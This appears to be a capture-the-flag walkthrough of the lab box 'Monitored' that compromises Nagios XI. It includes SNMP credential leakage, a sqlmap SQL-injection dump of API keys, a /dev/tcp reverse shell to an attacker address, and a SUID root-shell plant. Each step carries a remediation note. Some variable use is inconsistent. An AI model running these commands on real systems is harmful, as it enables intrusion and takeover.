Monitored
Summary
I paired a full TCP scan with a UDP sweep against $TARGET and found an exposed SNMP service still using the default '[REDACTED: recovered credential]' community string alongside a Nagios XI monitoring console. Walking the SNMP process table leaked a plaintext password for a service account and the exact sudo command that used it. Because Nagios XI's REST API does not check whether an account is disabled, that leaked password authenticated an API session that a SQL-injection flaw (CVE-2023-40931) then used to steal the built-in administrator's API key.
The stolen key created a rogue admin account, which was used to define a malicious monitoring 'check command' that Nagios executed as the nagios service user for a reverse shell. From there, an overly broad sudo rule letting nagios run Nagios XI's maintenance scripts as root was abused to plant a SUID root shell, completing full compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -p22,80,389,443,5667 $TARGETsudo nmap -Pn -sU -p161 -sV --script snmp-info $TARGETecho "$TARGET monitored.htb nagios.monitored.htb" | sudo tee -a /etc/hostsExact commands 1
snmpbulkwalk -v2c -c $PASSWORD3 -On $TARGET . | grep -E "svc|$PASSWORD"FixLock down SNMP: change the default community string and restrict source accessCritical
Exact commands 1
curl -sk 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate' --data-urlencode 'username=svc' --data-urlencode "password=$PASSWORD" --data-urlencode 'valid_min=500'FixEnforce account status checks consistently across all authentication pathsHigh
Exact commands 1
sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php' --data 'action=acknowledge_banner_message&id=3&token=<SVC_API_TOKEN>' -p id --dbms=MySQL --batch --threads 10 -D nagiosxi -T xi_users -C api_key --dumpFixPatch Nagios XI against the authenticated SQL injection (CVE-2023-40931)Critical
Exact commands 3
curl -sk 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=<STOLEN_API_KEY>&pretty=1' -d 'username=pwn&password=$PASSWORD2&name=pwn&email=pwn@monitored.htb&auth_level=admin&force_pw_change=0'curl -skS -c cookies.txt -b cookies.txt 'https://nagios.monitored.htb/nagiosxi/login.php' | grep -iE '<input'curl -skS -L -c cookies.txt -b cookies.txt 'https://nagios.monitored.htb/nagiosxi/login.php' --data-urlencode 'nsp=<NSP_TOKEN>' --data-urlencode 'page=auth' --data-urlencode 'pageopt=login' --data-urlencode 'username=pwn' --data-urlencode 'password=$PASSWORD2' --data-urlencode 'loginButton=Login'FixRestrict what a bare API key can do, especially account creationHigh
Exact commands 4
curl -sk 'https://nagios.monitored.htb/nagiosxi/api/v1/config/command?apikey=<API_KEY>&pretty=1' -d 'command_name=pwn-revshell' -d "command_line=/bin/bash -c 'bash -i >&/dev/tcp/$ATTACKER_IP/443 0>&1'"nc -lvnp 443# In the UI: click 'Apply Configuration' (required or the command is never written to the live config), then open the command and 'Run Check Command'idFixTreat monitoring check-command configuration as code execution and restrict it accordinglyHigh
Exact commands 7
sudo -n -lcp /usr/local/nagios/bin/npcd /tmp/npcd.baksudo /usr/local/nagiosxi/scripts/manage_services.sh npcd stopprintf '#!/bin/bash\nchmod 6777 /bin/bash\n' > /usr/local/nagios/bin/npcd && chmod +x /usr/local/nagios/bin/npcdsudo /usr/local/nagiosxi/scripts/manage_services.sh npcd start/bin/bash -pid && cat /root/root.txtFixRemove the overly broad sudo rule on Nagios XI's maintenance scriptsCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.56 |
| 389/tcp | ldap recon-sweep-discovered |
| 443/tcp | ssl/http Apache httpd 2.4.56 ((Debian)) |
| 5667/tcp | unknown recon-sweep-discovered |
| 161/udp | snmp SNMPv1 server; net-snmp SNMPv3 server ($PASSWORD3) |